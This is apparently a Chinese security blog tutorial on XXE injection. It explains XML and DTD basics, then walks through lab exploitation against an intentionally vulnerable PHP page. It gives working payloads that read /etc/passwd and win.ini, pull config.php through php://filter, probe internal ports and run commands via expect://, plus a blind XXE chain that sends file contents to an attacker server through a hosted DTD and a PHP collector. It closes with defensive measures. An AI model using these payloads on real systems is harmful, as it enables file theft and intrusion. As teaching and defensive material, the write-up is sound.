
XXE漏洞
本文提供的资料和信息仅供学习交流,不得用于非法用途;
对于因使用本文内容而产生的任何直接或间接损失,博主不承担任何责任;
本文尊重他人的知识产权,如有侵犯您的合法权益,请在vx公众号SecurePulse后台私信联系我们,我们将尽快删除
一、XML介绍
XML:全称eXtensible Markup Language,意为可扩展标记语言。它是一种用于描述和传输数据的标记语言,与HTML类似,但不同于HTML的是,XML的标签是用户自定义的,而非预定义的。这使得XML具有极高的灵活性和扩展性。
XML的主要特点包括:
纯文本格式:XML文件是纯文本文件,这使得它可以在不同的系统和平台上进行交换和共享,提高了数据的兼容性和与平台无关性。
自定义标签:XML允许用户自定义标签,这使得XML可以描述各种复杂的数据结构。同时,自定义标签也要求遵循一定的规则,如标签名必须区分大小写,标签必须成对出现等。
树形结构:XML文档形成了一种树形结构,从根元素开始,然后扩展到子元素,再进一步扩展到子元素的子元素等。这种结构使得XML可以方便地描述数据的层次关系。
无行为:XML本身并不包含任何行为,它只是定义了一种数据格式。要处理XML数据,需要使用其他语言(如Java、Python等)来编写解析器或处理程序。
XML常用于数据的存储和传输,特别是在不同平台或应用程序之间交换数据时。许多配置文件也是使用XML编写的,因为它既易于人类阅读,又易于机器解析。
xml文档的构建模块
元素:XML以及HTML 文档的主要构建模块,元素可包含文本、其他元素或者是空的
HTML元素的例子:"body" 和 "table"
XML元素的例子:"note" 和 "message"
空的HTML元素的例子:"hr"、"br" 以及 "img"
<body>body text in between</body>
<message>some message in between</message>
属性:可提供有关元素的额外信息
属性总是被放在某元素的开始标签中。属性总是以名称/值的形式成对出现的
<img src="computer.gif" />
元素的名称是"img"。属性的名称是"src"。属性的值是"computer.gif"。由于元素本身为空,它被一个" /" 关闭
实体:实体是用来定义普通文本的变量。实体引用是对实体的引用
常见的在XML中被预定义的实体如下表
PCDATA:被解析的字符数据(parsed character data),属于会被解析器解析的文本。这些文本将被解析器检查实体以及标记,文本中的标签会被当作标记来处理,而实体会被展开。
被解析的字符数据不应当包含任何&、<、>、字符;需要使用&、<、>实体来替换掉
CDATA:字符数据(character data),属于不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
XML的基本语法规则:
XML文档必须有一个根元素,所有的其他元素都必须嵌套在这个根元素内
XML标签必须成对出现,且必须正确嵌套
XML标签区分大小写
XML属性值必须使用双引号括起来
所有XMl元素必须有一个闭合标签
XMl必须正确嵌套
XML属性值必须加引号
在XMl中,空格会被保留
此外,XML还支持处理指令(Processing Instruction,简称PI),用于指定XML的版本、编码格式等信息。例如,<?xml version="1.0" encoding="UTF-8"?>就是一个处理指令,它指定了XML的版本为1.0,编码格式为UTF-8
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素
XML文档说明:
每一个XML文档都以一个XML声明开始,用以指明所用的XML的版本。
XML声明有version 、encoding和standalone特性。
version特性表明这个文档符合XML 1.0规范。
encoding 属性指定了编码格式,默认情况下是utf-8,这个属性要放在属性前面。
像standalone是XML文档的属性,位于等号左边的是特姓名,而其值位于等号的右边,并用双引号或单引号括起来。
自定义的元素也可以有一个或多个属性,其属性值使用单引号或者双引号括起来。
如果属性值中有双引号则使用单引号,反之亦然。
属性的形式为:
属性名= "属性值",比如gender="male"。
多个属性值之间用空格隔开(一个或多个空格都可以)。
在一个元素上,相同的属性只能出现一次。
属性值不能包含<, >, &
总结一下:XML是一种用于标记电子文件使其具有结构性的标记语言。XML的设计宗旨是传输数据,而不是显示数据。它允许用户自定义标记,以描述数据的结构和内容。XML文档结构包括XML声明、DTD(文档类型定义)和文档元素。
二、DTD详解
文档类型定义(DTD):作用是定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
DTD可被成行地声明于XML文档中,也可作为一个外部引用。
内部DOCTYPE声明:假如DTD被包含在我们的XML源文件中,它应当通过下面的语法包装在一个DOCTYPE声明中
内部声明DTD格式:<!DOCTYPE 根元素 [元素声明]>
代码举例
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义 note 元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义 to 元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义 from 元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义 head 元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义 body 元素为”#PCDATA”类型-->
]>
<!--文档元素-->
<note>
<to>Jack</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
<!--XML 申明-->
!DOCTYPE note:定义此文档是 note 类型的文档。
!ELEMENT note:定义note元素有四个元素"to、from、heading,、body"
!ELEMENT to:定义to元素为"#PCDATA" 类型
!ELEMENT from:定义from元素为 "#PCDATA" 类型
!ELEMENT heading:定义heading元素为 "#PCDATA" 类型
!ELEMENT body:body元素为 "#PCDATA" 类型
外部文档声明:假DTD位于XML源文件的外部,那么应通过下面的语法被封装在一个 DOCTYPE 定义中:
引用外部DTD格式:<!DOCTYPE 根元素 SYSTEM “文件名”>
代码举例:
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "text.dtd">
<note>
<to>George</to>
<from>Lazy</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
所包含的text.dtd文件中的内容如下
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
使用DTD的原因:
通过DTD,每一个XML文件均可携带一个有关其自身格式的描述。
通过DTD,独立的团体可一致地使用某个标准的DTD来交换数
应用程序也可以使用某个标准的DTD来验证从外部接收到的数据
还可以使用DTD来验证自身的数据
在DTD中进行实体说明时,使用ENTITY关键字来声明。实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体可在内部或外部进行声明。
内部声明实体格式:<!ENTITY 实体名称 “实体的值”>。
引用外部实体格式:<!ENTITY 实体名称 SYSTEM “URI”>。
SYSTEM、PUBLIC用于对外部资源进行申请。
三、XXE漏洞介绍
XXE漏洞,全称为XML External Entity Injection,即XML外部实体注入漏洞。这种漏洞通常出现在应用程序解析XML输入时,没有禁止外部实体的加载,导致用户可以控制外部的加载文件,从而引发安全问题。
XXE漏洞的原理在于,当应用程序在处理XML数据时,如果没有正确地过滤或禁止外部实体的引用,攻击者就可以构造恶意的XML内容,使其包含对外部文件的引用或执行恶意代码。当应用程序解析这些恶意XML数据时,就会触发XXE漏洞,导致攻击者能够读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
允许攻击者干扰应用程序XML数据的处理:通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。
XXE漏洞的触发点通常是可以上传XML文件的位置,或者允许用户输入XML数据的地方。如果应用程序没有对XML文件进行过滤或验证,攻击者就可以上传包含恶意内容的XML文件,或者通过输入字段注入恶意XML数据,从而利用XXE漏洞进行攻击。
应用程序解析XML输入时,如果没有禁止外部实体的加载,就会导致可以加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害
XXE漏洞的出现和开发语言无关,只要是应用程序中对XML数据做了解析,并且这些数据又受用户控制,那么应用程序就可能受到XXE攻击。
由于XXE漏洞主要是利用DTD引用外部实体导致的漏洞,那么重点就是看能引用哪些类型的外部实体。
比如:当libXML<libxml2.9才会造成外部注入漏洞
URL中能写的外部实体类型主要的有file、http、https、ftp……当然不同的程序支持的不一样
四、代码分析
代码路径:\WWW\pikachu\vul\xxe
五、利用XXE漏洞进行攻击(有回显)
要判断是否存在XXE漏洞,可以提交以下内容,如果弹出xxe的话证明存在漏洞
<?xml version="1.0"?><!DOCTYPE a [<!ENTITY b "xxe">]><c>&b;</c>
环境部署
将以下代码保存在upload-labs靶场的目录下(在Win10用phpStudy2018,php版本用php-5.2.17+Apache)
<?php
$string_xml = '<?xml version="1.0" encoding="utf-8"?><note><to>George</to><from>John</from><heading>Reminder</heading><body>xml实体注入</body></note>';
$xml = isset($_GET['xml'])?$_GET['xml']:$string_xml;
$data = simplexml_load_string($xml);
echo '<meta charset="UTF-8">';
print_r($data);
?>
代码作用:
获取XML变量,创建DOM对象,传入XML进行处理输出
simplexml_load_string()函数把XML字符串载入到对象中
读取Windows敏感文件(C:/Windows/win.ini)
访问这个php文件,直接利用XML读取文件的话发现没有生效,要将XML语句进行URL编码
转换前:
<?xml version="1.0"?><!DOCTYPE a [<!ENTITY b SYSTEM "file:///C:/Windows/win.ini">]><c>&b;</c>
转换后:
%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%3f%3e%3c%21%44%4f%43%54%59%50%45%20%61%20%5b%3c%21%45%4e%54%49%54%59%20%62%20%53%59%53%54%45%4d%20%22%66%69%6c%65%3a%2f%2f%2f%43%3a%2f%57%69%6e%64%6f%77%73%2f%77%69%6e%2e%69%6e%69%22%3e%5d%3e%3c%63%3e%26%62%3b%3c%2f%63%3e
读取Linux敏感文件(/etc/passwd)
<?xml version="1.0"?><!DOCTYPE a [<!ENTITY b SYSTEM "file:///etc/passwd">]><c>&b;</c>
<c>&b;</c>:&b;是一个实体引用,它指的是在文档类型声明中定义的名为 b 的实体。实体允许XML文档作者定义可以在文档正文中多次使用的字符串,并为其指定一个名称(在本例中是 b)。实体可以在XML文档中通过其名称(前面带有 & 符号和后面带有 ; 符号)来引用。
当XML解析器遇到&b; 时,它会从指定的URI(在这种情况下是/etc/passwd文件)获取实体 b 的值,并将其插入到文档中 &b; 出现的位置。因此,<c>&b;</c> 这个元素的实际内容会被替换为/etc/passwd文件的内容。
必须有&b;才会将内容在网页显示出来
使用php伪协议php://filter读取文件
将以下代码进行URL编码后提交访问
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=config.php" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
编码后:
%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%20%65%6e%63%6f%64%69%6e%67%3d%22%75%74%66%2d%38%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%78%64%73%65%63%20%5b%0a%3c%21%45%4c%45%4d%45%4e%54%20%6d%65%74%68%6f%64%6e%61%6d%65%20%41%4e%59%20%3e%0a%3c%21%45%4e%54%49%54%59%20%78%78%65%20%53%59%53%54%45%4d%20%22%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%72%65%61%64%3d%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%65%6e%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%63%6f%6e%66%69%67%2e%70%68%70%22%20%3e%5d%3e%0a%3c%6d%65%74%68%6f%64%63%61%6c%6c%3e%0a%3c%6d%65%74%68%6f%64%6e%61%6d%65%3e%26%78%78%65%3b%3c%2f%6d%65%74%68%6f%64%6e%61%6d%65%3e%0a%3c%2f%6d%65%74%68%6f%64%63%61%6c%6c%3e
扫描内网和端口:通过扫描ip和端口确定内网机器的ip和端口开放情况,访问端口会获取banner信息
将以下代码进行URL编码后提交访问,根据回显的信息判断端口开放情况
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "http://192.168.1.107:80">
]>
<abc>&test;</abc>
编码后:
%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%41%4e%59%20%5b%0a%3c%21%45%4e%54%49%54%59%20%74%65%73%74%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%30%37%3a%38%30%22%3e%0a%5d%3e%0a%3c%61%62%63%3e%26%74%65%73%74%3b%3c%2f%61%62%63%3e
执行命令:如果php开启了expect扩展的话,就可以用这种方式执行一些命令(此时没开,看不到效果)
将以下代码进行URL编码后提交访问
http://lazy.com/xxe.php?xml=<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "expect://whoami">
]>
<abc>&test;</abc>
六、利用XXE漏洞进行攻击(无回显)
无回显的XXE也称为Blind XXE,可以使用外带通道提取数据
环境配置
将以下代码保存在upload-labs靶场的目录下(在Win10用phpStudy2018,php版本用php-5.2.17+Apache)
<?php
$string_xml = '<?xml version="1.0" encoding="utf-8"?><note><to>George</to><from>John</from><heading>Reminder</heading><body>xml实体注入</body></note>';
$xml = isset($_GET['xml'])?$_GET['xml']:$string_xml;
$data = simplexml_load_string($xml);
echo '<meta charset="UTF-8">';
?>
先写一个Payload
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/lazy.txt">
<!ENTITY % remote SYSTEM "http://192.168.1.163/attack.xml">
%remote;
%all;
]>
<root>&send;</root>
<!ENTITY % file SYSTEM "file:///C:/lazy.txt">
:读取目标C盘下的lazy.txt文件<!ENTITY % remote SYSTEM "http://192.168.1.163/attack.xml">
:将读取的内容发送到攻击者的远程服务器的attack.xml文件里
编写远程服务器上的attack.xml文件
<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.1.163/hack.php?file=%file;'>">
调用远程服务器上的hack.php文件读取文件
编写远程服务器上的hacker.php文件
<?php file_put_contents("read.txt", $_GET['file']); ?>
将读取的文件内容写入到read.txt并在目录下生成
此时将Payload的内容进行URL编码
编码后:
%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%41%4e%59%5b%0a%3c%21%45%4e%54%49%54%59%20%25%20%66%69%6c%65%20%53%59%53%54%45%4d%20%22%66%69%6c%65%3a%2f%2f%2f%43%3a%2f%6c%61%7a%79%2e%74%78%74%22%3e%0a%3c%21%45%4e%54%49%54%59%20%25%20%72%65%6d%6f%74%65%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%36%33%2f%61%74%74%61%63%6b%2e%78%6d%6c%22%3e%0a%25%72%65%6d%6f%74%65%3b%0a%25%61%6c%6c%3b%0a%5d%3e%0a%3c%72%6f%6f%74%3e%26%73%65%6e%64%3b%3c%2f%72%6f%6f%74%3e
此时就可以看到在远程服务器的目录下生成了lazy.txt文件
七、防御方案
使用开发语言提供的禁用外部实体的方法
PHP:使用libxml_disable_entity_loader(true)来禁止加载外部实体。
JAVA:在创建DocumentBuilderFactory实例后,调用setExpandEntityReferences(false)来禁止解析外部实体引用
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:使用lxml库解析XML时,设置resolve_entities=False来禁止解析外部实体。
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
关键词过滤:禁止接收包含
<!DOCTYPE>
、<!ENTITY>
、SYSTEM
、PUBLIC
等关键字的XML数据。这些关键字通常用于定义外部实体,是触发XXE的关键。升级libxml组件
使用安全的解析器设置:对于某些编程语言和库,可能存在一些安全的解析器设置选项,可以用来防止XXE攻击。确保了解并使用这些选项
限制XML输入的大小:限制用户提交的XML数据的大小,以防止攻击者通过构造大型XML数据来触发XXE漏洞。